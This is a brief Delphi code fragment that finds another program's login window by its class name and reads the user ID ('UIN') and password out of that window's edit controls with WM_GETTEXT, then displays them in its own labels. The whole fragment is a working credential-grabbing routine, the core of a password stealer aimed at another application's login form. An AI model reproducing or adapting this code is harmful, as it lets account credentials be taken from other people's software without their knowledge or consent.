var
hManForm,hGroupBox,hEdit,hComboBox, hEdit1:HWND;
pUin:String;
pPass:String;
iUin:integer;
iPass:integer;
begin
hManForm:=FindWindow('TManForm',nil);
  if hManForm <> 0 then
  begin
hGroupBox:=FindWindowEx(hManForm,0,'TGroupBox',nil);
hComboBox:=FindWindowEx(hGroupBox,0,'TComboBox',nil);
hEdit1:=FindWindowEx(hComboBox,0,'Edit',nil);
iUIN:=SendMessage(hEdit1, WM_GETTEXTLENGTH, 0, 0);
if (iUin>0) then
begin
iUin:=iUin+1;
setlength(pUin, iUin);
sendmessage(hEdit1, wm_gettext, iUin, longint(@pUin[1]));
Label1.Caption:=pUin;
 end;
 hEdit:=FindWindowEx(hGroupBox,0,'TEdit',nil);
iPass:=SendMessage(hEdit, WM_GETTEXTLENGTH, 0, 0);
if (iPass>0) then
begin
 iPass:=iPass+1;
setlength(pPass, iPass);
sendmessage(hEdit, wm_gettext, iPass, longint(@pPass[1]));
Label2.Caption:=pPass;
end;
end;
 end;